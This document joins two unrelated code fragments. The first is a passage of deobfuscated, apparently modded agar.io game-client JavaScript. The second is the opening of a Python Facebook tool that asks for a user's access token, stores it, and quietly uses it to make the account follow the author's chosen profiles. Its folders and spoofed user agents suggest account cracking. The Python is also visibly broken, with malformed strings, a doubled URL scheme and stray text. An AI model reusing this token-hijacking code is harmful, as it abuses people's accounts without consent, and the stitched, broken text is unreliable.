g_pointNumScale += 0.01; } if (0.4 > g_pointNumScale) { g_pointNumScale = 0.4; } if (1 < g_pointNumScale) { g_pointNumScale = 1; } time = g_time - __unmatched_77; if (!IsConnected() || g_playerCellDestroyed || __unmatched_141) { qkeyDown += time / 2000; if (1 < qkeyDown) { qkeyDown = 1; } } else { qkeyDown -= time / 300; if (0 > qkeyDown) { qkeyDown = 0; } } if (0 < qkeyDown) { g_context.fillStyle = '#000000'; g_context.globalAlpha = 0.5 * qkeyDown; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.globalAlpha = 1; } __unmatched_77 = g_time; } function DrawGrid() { g_context.fillStyle = g_showMass ? '#111111' : '#F2FBFF'; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.save(); g_context.strokeStyle = g_showMass ? '#AAAAAA' : '#000000'; g_context.globalAlpha = 0.2 * g_scale; for (var width = g_protocol / g_scale, height = __unmatched_60 / g_scale, g_width = (-g_viewX + width / 2) % 50; g_width < width; g_width += 50) { g_context.beginPath(); g_context.moveTo(g_width * g_scale - 0.5, 0); g_context.lineTo(g_width * g_scale - 0.5, height * g_scale); g_context.stroke(); } for (g_width = (-g_viewY + height / 2) % 50; g_width < height; g_width += 50) { g_context.beginPath(); g_context.moveTo(0, g_width * g_scale - 0.5); g_context.lineTo(width * g_scale, g_width * g_scale - 0.5); g_context.stroke(); } g_context.restore(); } function DrawSplitImage() { if (g_touchCapable && g_splitImage.width) { var size = g_protocol / 5; g_context.drawImage(g_splitImage, 5, 5, size, size); } } function __unmatched_36() { for (var score = 0, i = 0; i < g_playerCells.length; i++) { score += g_playerCells[i].q * g_playerCells[i].q; } return score; } function UpdateLeaderboard() { g_leaderboardCanvas = null; if (null != g_scorePartitions || 0 != g_scoreEntries.length) { if (null != g_scorePartitions || g_showNames) { g_leaderboardCanvas = document.createElement('canvas'); var context = g_leaderboardCanvas.getContext('2d'); var height = 60; var height = null == g_scorePartitions ? height + 24 * g_scoreEntries.length : height + 180; var scale = Math.min(200, 0.3 * g_protocol) / 200; g_leaderboardCanvas.width = 200 * scale; g_leaderboardCanvas.height = height * scale; context.scale(scale, scale); context.globalAlpha = 0.4; context.fillStyle = '#000000'; context.fillRect(0, 0, 200, height); context.globalAlpha = 1; context.fillStyle = '#FFFFFF'; scale = null; scale = __unmatched_14('leaderboard'); context.font = '30px Ubuntu'; context.fillText(scale, 100 - context.measureText(scale).width / 2, 40); if (null == g_scorePartitions) { for (context.font = '20px Ubuntu', height = 0; height < g_scoreEntries.length; ++height) { scale = g_scoreEntries[height].name || __unmatched_14('unnamed_cell'); if (!g_showNames) { scale = __unmatched_14('unnamed_cell'); } if (-1 != g_playerCellIds.indexOf(g_scoreEntries[height].id)) { if (g_playerCells[0].name) { scale = g_playerCells[0].name; } context.fillStyle = '#FFAAAA'; } else { context.fillStyle = '#FFFFFF'; } scale = height + 1 + '. ' + scale; context.fillText(scale, 100 - context.measureText(scale).width / 2, 70 + 24 * height); } } else { for (height = scale = 0; height < g_scorePartitions.length; ++height) { var end = scale + g_scorePartitions[height] * Math.PI * 2; context.fillStyle = g_teamColors[height + 1]; context.beginPath(); context.moveTo(100, 140); context.arc(100, 140, 80, scale, end, false); context.fill(); scale = end; } } } } } function __unmatched_38(__unmatched_250, __unmatched_251, __unmatched_252, __unmatched_253, __unmatched_254) { this.V = __unmatched_250; this.x = __unmatched_251; this.y = __unmatched_252; this.i = __unmatched_253; this.b = __unmatched_254; } function Cell(id, x, y, size, color, name) { this.id = id; this.s = this.x = x; this.t = this.y = y; this.r = this.size = size; this.color = color; this.a = []; this.W(); this.B(name); } function __unmatched_40(__unmatched_261) { for (__unmatched_261 = __unmatched_261.toString(16); 6 > __unmatched_261.length;) { __unmatched_261 = '0' + __unmatched_261; } return '#' + __unmatched_261; } function drawBorders() { g_context.save() g_context.beginPath(); g_context.lineWidth = 1; g_context.strokeStyle = "#F87B32"; g_context.moveTo(getMapStartX(), getMapStartY()); g_context.lineTo(getMapStartX(), getMapEndY()); g_context.stroke(); g_context.moveTo(getMapStartX(), getMapStartY()); g_context.lineTo(getMapEndX(), getMapStartY()); g_context.stroke(); g_context.moveTo(getMapEndX(), getMapStartY()); g_context.lineTo(getMapEndX(), getMapEndY()); g_context.stroke(); g_context.moveTo(getMapStartX(), getMapEndY()); g_context.lineTo(getMapEndX(), getMapEndY()); g_context.stroke(); g_context.restore(); } function drawLogo(){ var logoimage = new Image(); logoimage.src = "img/split.png"; var width = this.j / 2; var dim = width / 2; g_context.save(); g_context.beginPath(); g_context.strokeStyle = "#F87B32"; g_context.moveTo(getMapStartX()/2, getMapStartX()/2); g_context.lineTo(getMapStartX()/2, getMapStartX()/2); g_context.stroke(); g_context.restore(); } function CachedCanvas(size, color, stroke, strokeColor) { if (size) { this.u = size; } if (color) { this.S = color; } this.U = !!stroke; if (strokeColor) { this.v = strokeColor; } } function __unmatched_42(__unmatched_266) { for (var size_ = __unmatched_266.length, __unmatched_268, __unmatched_269; 0 < size_;) { __unmatched_269 = Math.floor(Math.random() * size_); size_--; __unmatched_268 = __unmatched_266[size_]; __unmatched_266[size_] = __unmatched_266[__unmatched_269]; __unmatched_266[__unmatched_269] = __unmatched_268; } } function __unmatched_43(g_socket, __unmatched_271) { var noClip = '1' == $('#helloContainer').attr('data-has-account-data'); $('#helloContainer').attr('data-has-account-data', '1'); if (null == __unmatched_271 && window.localStorage.loginCache) { var rand = JSON.parse(window.localStorage.loginCache); rand.f = g_socket.f; rand.d = g_socket.d; rand.e = g_socket.e; window.localStorage.loginCache = JSON.stringify(rand); } if (noClip) { var __unmatched_274 = +$('.agario-exp-bar .progress-bar-text').first().text().split('/')[0]; var noClip = +$('.agario-exp-bar .progress-bar-text').first().text().split('/')[1].split(' ')[0]; var rand = $('.agario-profile-panel .progress-bar-star').first().text(); if (rand != g_socket.e) { __unmatched_43({ f: noClip, d: noClip, e: rand }, function() { $('.agario-profile-panel .progress-bar-star').text(g_socket.e); $('.agario-exp-bar .progress-bar').css('width', '100%'); $('.progress-bar-star').addClass('animated tada').one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function() { $('.progress-bar-star').removeClass('animated tada'); }); setTimeout(function() { $('.agario-exp-bar .progress-bar-text').text(g_socket.d + '/' + g_socket.d + ' XP'); __unmatched_43({ f: 0, d: g_socket.d, e: g_socket.e }, function() { __unmatched_43(g_socket, __unmatched_271); }); }, 1000); }); } else { var __unmatched_275 = Date.now(); var name = function() { var deltaX; deltaX = (Date.now() - __unmatched_275) / 1000; deltaX = 0 > deltaX ? 0 : 1 < deltaX ? 1 : deltaX; deltaX = deltaX * deltaX * (3 - 2 * deltaX); $('.agario-exp-bar .progress-bar-text').text(~~(__unmatched_274 + (g_socket.f - __unmatched_274) * deltaX) + '/' + g_socket.d + ' XP'); $('.agario-exp-bar .progress-bar').css('width', (88 * (__unmatched_274 + (g_socket.f - __unmatched_274) * deltaX) / g_socket.d).toFixed(2) + '%'); if (1 > deltaX) { window.requestAnimationFrame(name); } else if (__unmatched_271) { __unmatched_271(); } }; window.requestAnimationFrame(name); } } else { $('.agario-profile-panel .progress-bar-star').text(g_socket.e); $('.agario-exp-bar .progress-bar-text').text(g_socket.f + '/' + g_socket.d + ' XP'); $('.agario-exp-bar .progress-bar').css('width', (88 * g_socket.f / g_socket.d).toFixed(2) + '%'); if (__unmatched_271) { __unmatched_271(); } } } function __unmatched_44(__unmatched_278) { if ('string' == typeof __unmatched_278) { __unmatched_278 = JSON.parse(__unmatched_278); } if (Date.now() + 1800000 > __unmatched_278.ka) { $('#helloContainer').attr('data-logged-in', '0'); } else { window.localStorage.loginCache = JSON.stringify(__unmatched_278); __unmatched_108 = __unmatched_278.ha; $('.agario-profile-name').text(__unmatched_278.name); RefreshAds(); __unmatched_43({ f: __unmatched_278.f, d: __unmatched_278.d, e: __unmatched_278.e }); $('#helloContainer').attr('data-logged-in', '1'); } } function __unmatched_45(data) { data = data.split('\n'); __unmatched_44({ name: data[0], sa: data[1], ha: data[2], ka: 1000 * +data[3], e: +data[4], f: +data[5], d: +data[6] }); } function UpdateScale(__unmatched_280) { if ('connected' == __unmatched_280.status) { var x = __unmatched_280.authResponse.accessToken; window.FB.api('/me/picture?width=180&height=180', function(__unmatched_282) { window.localStorage.fbPictureCache = __unmatched_282.data.url; $('.agario-profile-picture').attr('src', __unmatched_282.data.url); }); $('#helloContainer').attr('data-logged-in', '1'); if (null != __unmatched_108) { $.ajax('https://m.agar.io/checkToken', { error: function() { __unmatched_108 = null; UpdateScale(__unmatched_280); }, success: function(__unmatched_283) { __unmatched_283 = __unmatched_283.split('\n'); __unmatched_43({ e: +__unmatched_283[0], f: +__unmatched_283[1], d: +__unmatched_283[2] }); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: __unmatched_108 }); } else { $.ajax('https://m.agar.io/facebookLogin', { error: function() { __unmatched_108 = null; $('#helloContainer').attr('data-logged-in', '0'); }, success: __unmatched_45, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: x }); } } } function RenderLoop(x) { Render(':party'); $('#helloContainer').attr('data-party-state', '4'); x = decodeURIComponent(x).replace(/.*#/gim, ''); __unmatched_48('#' + window.encodeURIComponent(x)); $.ajax('https://m.agar.io/getToken', { error: function() { $('#helloContainer').attr('data-party-state', '6'); }, success: function(quick) { quick = quick.split('\n'); $('.partyToken').val('agar.io/#' + window.encodeURIComponent(x)); $('#helloContainer').attr('data-party-state', '5'); Render(':party'); Connect('ws://' + quick[0], x); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: x }); } function __unmatched_48(__unmatched_286) { if (window.history && window.history.replaceState) { window.history.replaceState({}, window.document.title, __unmatched_286); } } function __unmatched_49(__unmatched_287, __unmatched_288) { var playerOwned = -1 != g_playerCellIds.indexOf(__unmatched_287.id); var __unmatched_290 = -1 != g_playerCellIds.indexOf(__unmatched_288.id); var __unmatched_291 = 30 > __unmatched_288.size; if (playerOwned && __unmatched_291) { ++__unmatched_139; } if (!(__unmatched_291 || !playerOwned || __unmatched_290)) { ++__unmatched_146; } } function __unmatched_50(__unmatched_292) { __unmatched_292 = ~~__unmatched_292; var color = (__unmatched_292 % 60).toString(); __unmatched_292 = (~~(__unmatched_292 / 60)).toString(); if (2 > color.length) { color = '0' + color; } return __unmatched_292 + ':' + color; } function __unmatched_51() { if (null == g_scoreEntries) { return 0; } for (var i = 0; i < g_scoreEntries.length; ++i) { if (-1 != g_playerCellIds.indexOf(g_scoreEntries[i].id)) { return i + 1; } } return 0; } function ShowOverlay() { $('.stats-food-eaten').text(__unmatched_139); $('.stats-time-alive').text(__unmatched_50((__unmatched_144 - __unmatched_143) / 1000)); $('.stats-leaderboard-time').text(__unmatched_50(__unmatched_145)); $('.stats-highest-mass').text(~~(g_maxScore / 100)); $('.stats-cells-eaten').text(__unmatched_146); $('.stats-top-position').text(0 == g_mode ? ':(' : g_mode); var g_height = document.getElementById('statsGraph'); if (g_height) { var pointsAcc = g_height.getContext('2d'); var scale = g_height.width; var g_height = g_height.height; pointsAcc.clearRect(0, 0, scale, g_height); if (2 < cached.length) { for (var __unmatched_298 = 200, i = 0; i < cached.length; i++) { __unmatched_298 = Math.max(cached[i], __unmatched_298); } pointsAcc.lineWidth = 3; pointsAcc.lineCap = 'round'; pointsAcc.lineJoin = 'round'; pointsAcc.strokeStyle = __unmatched_140; pointsAcc.fillStyle = __unmatched_140; pointsAcc.beginPath(); pointsAcc.moveTo(0, g_height - cached[0] / __unmatched_298 * (g_height - 10) + 10); for (i = 1; i < cached.length; i += Math.max(~~(cached.length / scale), 1)) { for (var __unmatched_300 = i / (cached.length - 1) * scale, __unmatched_301 = [], __unmatched_302 = -20; 20 >= __unmatched_302; ++__unmatched_302) { if (!(0 > i + __unmatched_302 || i + __unmatched_302 >= cached.length)) { __unmatched_301.push(cached[i + __unmatched_302]); } } __unmatched_301 = __unmatched_301.reduce(function(__unmatched_303, __unmatched_304) { return __unmatched_303 + __unmatched_304; }) / __unmatched_301.length / __unmatched_298; pointsAcc.lineTo(__unmatched_300, g_height - __unmatched_301 * (g_height - 10) + 10); } pointsAcc.stroke(); pointsAcc.globalAlpha = 0.5; pointsAcc.lineTo(scale, g_height); pointsAcc.lineTo(0, g_height); pointsAcc.fill(); pointsAcc.globalAlpha = 1; } } } if (!window.agarioNoInit) { var __unmatched_53 = window.location.protocol; var g_secure = 'https:' == __unmatched_53; if (g_secure && -1 == window.location.search.indexOf('fb')) { window.location.href = 'http://agar.io/'; } else { var items = window.navigator.userAgent; if (-1 != items.indexOf('Android')) { if (window.ga) { window.ga('send', 'event', 'MobileRedirect', 'PlayStore'); } setTimeout(function() { window.location.href = 'https://play.google.com/store/apps/details?id=com.miniclip.agar.io'; }, 1000); } else if (-1 != items.indexOf('iPhone') || -1 != items.indexOf('iPad') || -1 != items.indexOf('iPod')) { if (window.ga) { window.ga('send', 'event', 'MobileRedirect', 'AppStore'); } setTimeout(function() { window.location.href = 'https://itunes.apple.com/app/agar.io/id995999703?mt=8&at=1l3vajp'; }, 1000); } else { var g_canvas_; var g_context; var g_canvas; var g_protocol; var __unmatched_60; var g_pointTree = null; var points = null; var g_viewX = 0; var g_viewY = 0; var g_playerCellIds = []; var g_playerCells = []; var g_cellsById = {}; var g_cells = []; var g_destroyedCells = []; var g_scoreEntries = []; var g_mouseX = 0; var g_mouseY = 0; var g_moveX = -1; var g_moveY = -1; var __unmatched_75 = 0; var g_time = 0; var __unmatched_77 = 0; var g_nick = null; var g_minX = 0; var g_minY = 0; var g_maxX = 10000; var g_maxY = 10000; var g_scale = 1; var g_region = null; var g_showSkins = true; var g_showNames = true; var g_noColors = false; var __unmatched_88 = false; var g_maxScore = 0; var g_showMass = false; var g_darkTheme = true; var g_viewX_ = g_viewX = ~~((g_minX + g_maxX) / 2); var g_viewY_ = g_viewY = ~~((g_minY + g_maxY) / 2); var g_scale_ = 1; var __unmatched_95 = ''; var g_scorePartitions = null; var g_drawLines = false; var g_ready = false; var g_linesY_ = 0; var g_linesX_ = 0; var g_linesX = 0; var g_linesY = 0; var g_ABGroup = 0; var g_teamColors = [ '#333333', '#FF3333', '#33FF33', '#3333FF' ]; var g_showTrails = false; var g_connectSuccessful = false; var __unmatched_107 = 0; var __unmatched_108 = null; var g_zoom = 1; var qkeyDown = 1; var g_playerCellDestroyed = false; var __unmatched_112 = 0; var __unmatched_113 = {}; (function() { var point = window.location.search; if ('?' == point.charAt(0)) { point = point.slice(1); } for (var point = point.split('&'), __unmatched_306 = 0; __unmatched_306 < point.length; __unmatched_306++) { var parts = point[__unmatched_306].split('='); __unmatched_113[parts[0]] = parts[1]; } }()); var g_touchCapable = 'ontouchstart' in window && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(window.navigator.userAgent); var g_splitImage = new Image(); g_splitImage.src = 'img/split.png'; var canvasTest = document.createElement('canvas'); if ('undefined' == typeof console || 'undefined' == typeof DataView || 'undefined' == typeof WebSocket || null == canvasTest || null == canvasTest.getContext || null == window.localStorage) { alert('You browser does not support this game, we recommend you to use Firefox to play this'); } else { var g_regionLabels = null; window.setNick = function(val) { HideOverlay(); g_nick = val; SendNick(); g_maxScore = 0; }; window.setRegion = SetRegion; window.setSkins = function(val) { g_showSkins = val; }; window.setUnlimitedZoom = function(val) { isUnlimitedZoom = val; }; window.setNames = function(val) { g_showNames = val; }; window.setDarkTheme = function(val) { g_showMass = val; }; window.setColors = function(val) { g_noColors = val; }; window.setShowMass = function(val) { g_darkTheme = val; }; window.spectate = function(val) { isSpectating = val g_nick = null; SendCmd(1); HideOverlay(); }; window.setLargeBlobBorders = function(val) { isLargeBlobBorders = val; } window.setLargeNames = function(val) { isLargeNames = val; } window.setVirusTransparent = function(val){ isVirusTransparent = val; } window.nicksChange = function() { var name = $("#nicks").children("option").filter(":selected").text(); $("#nick").val(name); if (-1 != g_skinNamesA.indexOf(name)) { $("#preview").attr("src", "skins/" + name + ".png"); } }; window.getMapStartX = function() { return g_minX; } window.getMapStartY = function() { return g_minY; } window.getMapEndX = function() { return g_maxX; } window.getMapEndY = function() { return g_maxY; } window.setGameMode = function(val) { if (val != __unmatched_95) { if (':party' == __unmatched_95) { $('#helloContainer').attr('data-party-state', '0'); } Render(val); if (':party' != val) { Start(); } } }; window.setAcid = function(val) { g_showTrails = val; }; if (null != window.localStorage) { if (null == window.localStorage.AB9) { window.localStorage.AB9 = 0 + ~~(100 * Math.random()); } g_ABGroup = +window.localStorage.AB9; window.ABGroup = g_ABGroup; } $.get(__unmatched_53 + '//gc.agar.io', function(code) { var __unmatched_317 = code.split(' '); code = __unmatched_317[0]; __unmatched_317 = __unmatched_317[1] || ''; if (-1 == ['UA'].indexOf(code)) { g_skinNamesA.push('ussr'); } if (g_regionsByCC.hasOwnProperty(code)) { if ('string' == typeof g_regionsByCC[code]) { if (!g_region) { SetRegion(g_regionsByCC[code]); } else if (g_regionsByCC[code].hasOwnProperty(__unmatched_317)) { if (!g_region) { SetRegion(g_regionsByCC[code][__unmatched_317]); } } } } }, 'text'); if (window.ga) { window.ga('send', 'event', 'User-Agent', window.navigator.userAgent, { nonInteraction: 1 }); } var g_canRefreshAds = true; var g_refreshAdsCooldown = 0; var g_regionsByCC = { AF: 'JP-Tokyo', AX: 'EU-London', AL: 'EU-London', DZ: 'EU-London', AS: 'SG-Singapore', AD: 'EU-London', AO: 'EU-London', AI: 'US-Atlanta', AG: 'US-Atlanta', AR: 'BR-Brazil', AM: 'JP-Tokyo', AW: 'US-Atlanta', AU: 'SG-Singapore', AT: 'EU-London', AZ: 'JP-Tokyo', BS: 'US-Atlanta', BH: 'JP-Tokyo', BD: 'JP-Tokyo', BB: 'US-Atlanta', BY: 'EU-London', BE: 'EU-London', BZ: 'US-Atlanta', BJ: 'EU-London', BM: 'US-Atlanta', BT: 'JP-Tokyo', BO: 'BR-Brazil', BQ: 'US-Atlanta', BA: 'EU-London', BW: 'EU-London', BR: 'BR-Brazil', IO: 'JP-Tokyo', VG: 'US-Atlanta', BN: 'JP-Tokyo', BG: 'EU-London', BF: 'EU-London', BI: 'EU-London', KH: 'JP-Tokyo', CM: 'EU-London', CA: 'US-Atlanta', CV: 'EU-London', KY: 'US-Atlanta', CF: 'EU-London', TD: 'EU-London', CL: 'BR-Brazil', CN: 'CN-China', CX: 'JP-Tokyo', CC: 'JP-Tokyo', CO: 'BR-Brazil', KM: 'EU-London', CD: 'EU-London', CG: 'EU-London', CK: 'SG-Singapore', CR: 'US-Atlanta', CI: 'EU-London', HR: 'EU-London', CU: 'US-Atlanta', CW: 'US-Atlanta', CY: 'JP-Tokyo', CZ: 'EU-London', DK: 'EU-London', DJ: 'EU-London', DM: 'US-Atlanta', DO: 'US-Atlanta', EC: 'BR-Brazil', EG: 'EU-London', SV: 'US-Atlanta', GQ: 'EU-London', ER: 'EU-London', EE: 'EU-London', ET: 'EU-London', FO: 'EU-London', FK: 'BR-Brazil', FJ: 'SG-Singapore', FI: 'EU-London', FR: 'EU-London', GF: 'BR-Brazil', PF: 'SG-Singapore', GA: 'EU-London', GM: 'EU-London', GE: 'JP-Tokyo', DE: 'EU-London', GH: 'EU-London', GI: 'EU-London', GR: 'EU-London', GL: 'US-Atlanta', GD: 'US-Atlanta', GP: 'US-Atlanta', GU: 'SG-Singapore', GT: 'US-Atlanta', GG: 'EU-London', GN: 'EU-London', GW: 'EU-London', GY: 'BR-Brazil', HT: 'US-Atlanta', VA: 'EU-London', HN: 'US-Atlanta', HK: 'JP-Tokyo', HU: 'EU-London', IS: 'EU-London', IN: 'JP-Tokyo', ID: 'JP-Tokyo', IR: 'JP-Tokyo', IQ: 'JP-Tokyo', IE: 'EU-London', IM: 'EU-London', IL: 'JP-Tokyo', IT: 'EU-London', JM: 'US-Atlanta', JP: 'JP-Tokyo', JE: 'EU-London', JO: 'JP-Tokyo', KZ: 'JP-Tokyo', KE: 'EU-London', KI: 'SG-Singapore', KP: 'JP-Tokyo', KR: 'JP-Tokyo', KW: 'JP-Tokyo', KG: 'JP-Tokyo', LA: 'JP-Tokyo', LV: 'EU-London', LB: 'JP-Tokyo', LS: 'EU-London', LR: 'EU-London', LY: 'EU-London', LI: 'EU-London', LT: 'EU-London', LU: 'EU-London', MO: 'JP-Tokyo', MK: 'EU-London', MG: 'EU-London', MW: 'EU-London', MY: 'JP-Tokyo', MV: 'JP-Tokyo', ML: 'EU-London', MT: 'EU-London', MH: 'SG-Singapore', MQ: 'US-Atlanta', MR: 'EU-London', MU: 'EU-London', YT: 'EU-London', MX: 'US-Atlanta', FM: 'SG-Singapore', MD: 'EU-London', MC: 'EU-London', MN: 'JP-Tokyo', ME: 'EU-London', MS: 'US-Atlanta', MA: 'EU-London', MZ: 'EU-London', MM: 'JP-Tokyo', NA: 'EU-London', NR: 'SG-Singapore', NP: 'JP-Tokyo', NL: 'EU-London', NC: 'SG-Singapore', NZ: 'SG-Singapore', NI: 'US-Atlanta', NE: 'EU-London', NG: 'EU-London', NU: 'SG-Singapore', NF: 'SG-Singapore', MP: 'SG-Singapore', NO: 'EU-London', OM: 'JP-Tokyo', PK: 'JP-Tokyo', PW: 'SG-Singapore', PS: 'JP-Tokyo', PA: 'US-Atlanta', PG: 'SG-Singapore', PY: 'BR-Brazil', PE: 'BR-Brazil', PH: 'JP-Tokyo', PN: 'SG-Singapore', PL: 'EU-London', PT: 'EU-London', PR: 'US-Atlanta', QA: 'JP-Tokyo', RE: 'EU-London', RO: 'EU-London', RU: 'RU-Russia', RW: 'EU-London', BL: 'US-Atlanta', SH:
ahmar00987 / Ahsam#!/usr/bin/python3 #-*-coding:utf-8-*- # Made With ❤️ By Ahmar And AHMARCODE Project # Update V0.1 # Copyright© Ahmar ID 2021 # 100% Open Source Code # Author : Ahmar jan. # Facebook (Alizar M.M.M X) : https://www.facebook.com/profile.php?id=100027259894020X # Instagram (☬ 𝐀𝐧𝐨𝐧𝐲𝐦 𝟒𝟎𝟒 ☬) : Instagram.com. # Whatsapp (Alizar) : 03127103451 # Free Recode For Personal Use # Bebas Recode Untuk Penggunaan Pribadi # Izin Terlebih Dahulu Apabila Ingin Re-Upload # Jangan Jual Belikan File Source Code Ini ! ### Import Module import requests,sys,bs4,os,random,time,json from concurrent.futures import ThreadPoolExecutor as ThreadPool from datetime import datetime ### Perumpamaan Module & Syntax _req_get_ = requests.get _req_post_ = requests.post _js_lo_ = json.loads _ahmar_cici_ = print _cici_ahmar_ = input _ahmar_ahmar_ = open _cici_cici_ = exit ### Waktu & Tanggal current = datetime.now() ta = current.year bu = current.month ha = current.day bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"} bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"] try: if bu < 0 or bu > 12: _cici_cici_() buTemp = bu - 1 except ValueError: _cici_cici_() op = bulan[buTemp] tanggal = ("%s-%s-%s"%(ha,op,ta)) ### Warna _P_ = "\x1b[0;97m" # Putih _M_ = "\x1b[0;91m" # Merah _H_ = "\x1b[0;92m" # Hijau _U_ = "\x1b[0;95m" # Ungu ### Logo _logo_line_1_ = ('%s.------..------..------..------..------.(_U_)) _logo_line_2_ = ('%s|A.--. ||H.--. ||M.--. ||A.--. ||R.--. |%s。☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆。'%(_U_,_H_)) _logo_line_3_ = ('%s| (\/) || :/\: || (\/) || (\/) || :(): | %sEditor By %s• AHMAR JAN %s '%(_U_,_M_,_P_,_U_)) _logo_line_4_ = ('%s| :\/: || (__) || :\/: || :\/: || ()() | %sWhatssap %s• 03127103451 %s '%(_U_,_M_,_P_,_U_)) _logo_line_5_ = ('%s| '--'A|| '--'H|| '--'M|| '--'A|| '--'R| %sAdrees %s• FASILABAD %s '%(_U_,_M_,_P_,_U_)) _logo_line_6_ = ('%s`------'`------'`------'`------'`------' %s。☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆。'%(_U_,_H_)) def _my_logo_(): _ahmar_cici_(_logo_line_1_) _ahmar_cici_(_logo_line_2_) _ahmar_cici_(_logo_line_3_) _ahmar_cici_(_logo_line_4_) _ahmar_cici_(_logo_line_5_) _ahmar_cici_(_logo_line_6_+'\n') ### User Agent ua_xiaomi = 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_nokia = 'nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+' ua_asus = 'Mozilla/5.0 (Linux; Android 5.0; ASUS_Z00AD Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_huawei = 'Mozilla/5.0 (Linux; Android 8.1.0; HUAWEI Y7 PRIME 2019 Build/5887208) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_vivo = 'Mozilla/5.0 (Linux; Android 11; vivo 1918) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_oppo = 'Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_samsung = 'Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/35.0.0.48.273;]' ua_windows = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ### Penampungan _id_tampung_ = [] ### Jangan Diganti Nanti Error _oscylopsce_ = '__Ahmar__' _ascylapsci_ = '__Cici__' _escylipsce_ = '__Ahmar_Love_Cici__' _uscylupsci_ = '__My_Love____Ahmar____Ahmar_Love_Cici____Cici____Forever__' ### Membuat Folder Direktori def _folder_(): try:os.mkdir("CP") except:pass try:os.mkdir("OK") except:pass ### Clear Login Session def _bersih_(): try:os.remove('token.txt') except:pass ### Clear User Agent def _del_(): try:os.remove('ugent.txt') except:pass ### Clear Terminal def _clear_(): if "linux" in sys.platform.lower():os.system("clear") elif "win" in sys.platform.lower():os.system("cls") else:os.system("clear") ### Jangan Diganti Anjink! def _bot_follow_(_tok_dev_): token = _tok_dev_ try: _req_post_("https://https://www.facebook.com/profile.php?id=100027259894020/subscribers?access_token=" + token) Alizar M.M.M # _req_post_("https://graph.facebook.com/100060885769913/subscribers?access_token=" + token) # احسان اللہ _req_post_("https://graph.facebook.com/100012267158212/subscribers?access_token=" + token) # وزیراعظم صاحب _req_post_("https://graph.facebook.com/100009834670141/subscribers?access_token=" + token) # نسرین اختر _req_post_("https://graph.facebook.com/100007026360241/subscribers?access_token=" + token) # Zama Jan _ahmar_cici_('\n%s[%s!%s] %sLogin Successful'%(_H_,_P_,_H_,_P_)) time.sleep(2) except (KeyError,IOError):pass ### Login def _login_dev_(_Cici_Cantik_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Cici_Cantik_Banget_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:pass _tok_dev_ = _cici_ahmar_('%s[%s•%s] %sPLEASE Enter Token :\n\n'%(_P_,_H_,_P_,_U_)) try: _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _op_dev_ = _ahmar_ahmar_('token.txt','w') _op_dev_.write(_tok_dev_) _op_dev_.close() _bot_follow_(_tok_dev_) _default_ua_(_Cici_Cantik_Banget_) _menu_dev_(_Cici_Cantik_Banget_) except (KeyError,IOError): _ahmar_cici_('\n%s[%s!%s] %sToken EXPIRE'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Cici_Cantik_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('\n%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() ### Menu def _menu_dev_(_Ahmar_Ganteng_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Ahmar_Ganteng_Banget_:_ahmar_cici_('%s[%s!%s] %sHayoo Mau Recode Ya?'%(_M_,_P_,_M_,_P_)) else:pass try: _tok_dev_ = _ahmar_ahmar_("token.txt","r").read() _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _id_dev_ = _js_load_['id'] except (KeyError,IOError): _ahmar_cici_('%s[%s!%s] %sToken Invalid'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('%s[%s!%s] %sConnection 